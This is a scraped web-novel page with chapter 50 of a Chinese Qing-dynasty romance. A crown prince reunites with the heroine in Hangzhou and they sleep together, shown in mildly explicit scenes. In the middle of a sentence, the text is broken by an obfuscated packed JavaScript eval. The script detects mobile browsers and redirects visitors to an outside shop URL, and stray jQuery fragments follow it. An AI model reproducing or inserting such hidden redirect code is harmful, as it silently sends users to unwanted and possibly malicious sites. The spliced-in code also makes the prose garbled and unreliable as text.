文趣网 > 都市小说 > 与太子灵魂互换(清穿) > 50. 第 50 章
    外面淅淅沥沥地下着小雨,看这乌黑沉重的天色,似乎还即将变成中雨。

    杭州总是雨水充足的,即便这只是三月底。

    这酒楼是花家开的,沈巧云做饭有一手,而花上蕊以前是食品专业的,在新式菜品上也很有研究。

    杭州的百姓能接受新鲜的菜品,所以他们酒楼虽然刚刚开了一年多,便已经在当地小有名气了。

    他们不缺钱,便雇了一个大厨、两个小厨,两人只是心血来潮,便在小厨房研究菜品。

    花上蕊道:“不是,只是我要……”

    话未说完,就被花上香笑咪咪打断了:“该不会是跟杨夫子吵架了吧?”

    花上蕊道:“不是,杨夫子一向谦和,怎么会与我吵架?但我要在书院多住几日,这几日就不回来了。”

    沈巧云道:“是书院太忙了吗?”

    花上蕊道:“是因为我刚刚在外面听说,陛下要来杭州南巡……我一定要躲躲。”

    花上香眼睛一亮:“陛下要来?真的吗?那都有谁跟来?”

    花上蕊耸耸肩道:“这个我没有问,但他这个人向来喜欢把那些成年儿子都带在身边。”

    花上香将手腕的佛珠掐在手里,又双手合十道:“希望该来的都会来。”

    花上蕊道:“你希望谁来?不会是四阿哥吗?”

    “讨厌!才不是呢。”花上香红着脸冲了出去,很快又回来了,大声道,“花上蕊,李捕头在外面等你呢。”

    花上蕊道:“你叫那么大声做什么?客人们还吃饭呢。”

    花上香道:“我天生嗓门大,嘿嘿。”

    花上蕊走出去,身穿捕快服的高大男子一手抱着个二岁的男孩,一手打着伞,担忧地问道:“花山长,不知道白大夫在不在书院?今日小宝又发病了。”

    花上蕊道:“他在山上呢,你等一下,我跟你一起回去。”

    李捕头的眼睛亮了亮,道:“好。”

    花上蕊提着一壶桂花酿,又拿了一把伞,两人便出来了。

    山间的路并不好走,女子在傍晚以及下雨天独行恐怕会有危险,正好李捕头也上山,这就安全感满满了。

    李捕头是个高大又健壮的男子,二十七岁,但是妻子不幸在生孩子时难产去世,孩子也留下了病根。

    幸好白逍遥在这里住了些日子,又在买酒的时候看到了李捕头的儿子,越是奇难杂症,他越是想要医治。

    故而出手救了小宝一命。

    只是白逍遥没有常性,见小宝无性命之忧了,便打算离开。

    可普天之下的父母,哪一个不希望小孩子能够完全健康,一点毛病没有?

    幸好白逍遥见到了花上蕊,好奇她怎么会在这里,而花上蕊一直不肯说,他便跟着去了采苓书院。

    花上蕊正是用太子当初给的钱,买下了整座山的土地,成为了采苓书院的山长。

    云萝……也有三岁了呀,也不知道这辈子还能不能见到云萝。

    两人并肩而行,因为男帅女美,不管是身高差还是体型差都很少相配,故而引来躲雨无聊的看客纷纷注目。

    杭州多美景,特别是西湖,所以每年来旅游者不少,外地人不知道两人的身份,还觉得这一家三口很是般配呢,女的貌美,男的英武不凡。

    正骑着马狂奔的那个人,也看到了他们,逐渐勒住了缰绳。

    这雨太大了,天又阴沉沉的,路上的行人很少。

    李捕头与花上蕊一齐抬头看向拦在两人面前的那匹马,又听见了几下马蹄声,又有两人骑马跟了上来。

    马上的那个人,是太子,后面的两个,是护卫。

    花上蕊曾幻想过无数种重逢的方式,却没想到是在此时此刻。

    “彭!”

    手中的桂花酿掉落在地,酒液混合着桂花,被雨水冲走,空气中弥漫着一缕淡淡的桂花香气。

    他的长袍马褂全都浇湿了,身后的辫子想必也在滴水。

    这个天气骑马出门,怎么还带着锦帽,而不是斗笠?

    花上蕊皱了皱眉,他也太不懂得爱惜自己了。

    胤礽抬腿,利落地下马,对身后的两个人冷冷道:“杀了他。”

    花上蕊错愕地张了张嘴,忙向前一步,挡在了李捕头面前。

    两个护卫停住脚步。

    花上蕊道:“他的儿子生了病,我是与他一同找大夫的。”

    太子脸上沉郁的神色稍稍缓和,扬起下巴道:“这么说,他跟你什么关系也没有?”

    花上蕊叹息一声,道:“只是朋友,他是当地的捕头。”

    太子道:“好。”

    他骑着马奔波至此,定是有许多话要跟她说,正好她也想要带着他尽快避雨,便上前一步,将雨伞遮在了太子头上,转身对李捕头道:“今日我还有事,就不过去了,你自己带着小宝去吧。”

    李捕头显然明白两人已有交情,却仍旧道:“跟他在一起,你确定能安全吗?”

    毕竟这个极具威严的男子,可是一上来就下了杀人的命令,虽然面容英俊,却气势骇人。

    太子握住了花上蕊撑伞的手,迫不及待地看着她,一点眼神都没有给李捕头,也几乎没有听见李捕头说什么。

    花上蕊道:“嗯,他不是坏人。”

    给孩子治病要紧,李捕头立即带着小宝大步向前。

    花上蕊拉着太子去了自己在县城的私宅,进去后,让丫鬟打水,她亲自帮他洗了澡。

    丫鬟都是她来到这里后雇佣的,里面没有双喜,因为离开京城前,她就让双喜回自己家里了。

    双喜本来便是内务府的丫鬟,正常当差三年就可以走的,她怎么好意思让人家多待?

    更何况,双喜的亲人就在京城。

    “云萝,她还好吗?”

    “好,唐侧福晋将她照顾的极好,胖嘟嘟的,比瑶儿小时候还要可爱。”

    “欸,小孩子也要比相貌吗?你喜欢云萝吗?”

    “你的孩子,我当然喜欢。”

    “哼。”

    太子躺在浴桶内,感受着那柔软的小手在自己身上捏来捏去,他长叹一口气道:“早知如此,我早该来的。”

    花上蕊的手顿了顿,涩然道:“或许是因为东宫新人太多,殿下便忘了旧人吧。”

    太子转过身来,捏住了她的手:“怎么?吃醋啦?”

    花上蕊道:“我不敢。”

    “还说不敢!”

    他猛地撩起洗澡水,泼到了她的脸上。

    “喂!你好过分哦!”

    花上蕊站起身来,抹掉脸上的水,衣服前襟处都湿了。

    他跨出澡盆,一手搂着她的腰,一手抬

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665279|202152||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起她的腿弯,将她放到床上。

    她忙起身,手抵着他的胸膛:“不、不行!”

    “为什么不行?你心里有了别人?”

    “不是,我只爱你一个。”

    “那你说说。”

    他不停歇地解下她的系扣,指尖顺着领口探入,扯拉着轻纱布料。

    杭州不似北京那么冷,这个天气穿的也不多,而且衣衫花样繁多又轻便。

    花上蕊却从未想过,这轻纱也能将她灼烧成这般。

    她红着脸:“你皇阿玛……”

    太子咬了一口她的耳垂,笑道:“皇阿玛为了体察民情,并未与大部队一道走,已经在半路离开了。我这次出来,还有十三弟替我打掩护呢,没事。”

    “他微服私访了,那好……可是你这个当哥哥的,总不能这么欺负弟弟吧。”

    “弟弟就是用来欺负的。”

    “可是……”

    “可是什么?只有一个可是,就是你不想给我,你说啊,你说你一点都不想我,情分已尽。说了我便走,绝不纠缠你。”

    他有些恼了,作势起身。

    她勾住他的脖颈,吻了吻他的面额,眼睫轻颤:“我想你的。”

    他得意地“嗯哼”一声,重新扑了上来。

    他的指尖像是火柴一般,在她身上点着火,这火也因为相隔两年多,而愈演愈烈、愈烧愈旺,直到将她烧到口干舌燥。

    第二日醒来时,嗓子已然哑了。

    她枕在一条手臂上,腰间还压着一条,有些沉。

    她将腰间的手臂移开,脑袋一转,抵在了他的胸口上,听着他有力的心跳。

    头顶传来他的声音,相比于两年前,更低沉了些:“你这些年过得好吗?都是怎么过的?”

    其实他的相貌也变了些,更加容雍华贵,多了些气势,但并没有增加太多斯文。

    技术嘛,并没有进步,反而蛮横直撞的,差点被他弄得散架。

    花上蕊扶着腰起身,道:“很好,具体怎么过的,我们吃过早饭再聊,你不饿吗?”

    太子的指尖帮她揉捏着酸痛的腰肢,道:“不饿,昨夜吃的够多了。”

    花上蕊羞红了脸,拨开他的手,倒了两杯茶,她饮用一杯,又递给太子一杯。

    随即吩咐丫鬟将早餐送来,并且拿了一盘桃花酥,先给两人垫肚子。

    太子在床上搂着她道:“听说你建了个书院,还当了山长?”

    花上蕊道:“你怎么知道?”

    太子道:“我也有我的人脉。”

    谈起山上的书院,她满脸自豪。

    花上蕊道:“是的,那些学生有的是我捡来的,有的是被杨夫子吸引来的,杨夫子的学问好,我们山上过几年或许能出状元郎呢。”

    太子道:“杨夫子?他多大了?长得如何?可曾婚配?”

    花上蕊道:“二十五……比我大三岁,未婚,长得儒雅清秀,虽然没有成亲,但是附近好多姑娘喜欢他呢。”

    太子道:“这么大了还没有成亲,该不会是哪方面有点毛病吧?”

    花上蕊皱眉道:“你干嘛恶意揣度人家?他就算是单身一辈子,又怎么了?更何况在有的地方,二十五岁成亲还算早的呢。”

    太子道:“你这么护着他做什么?在什么地方二十五成亲算早的?”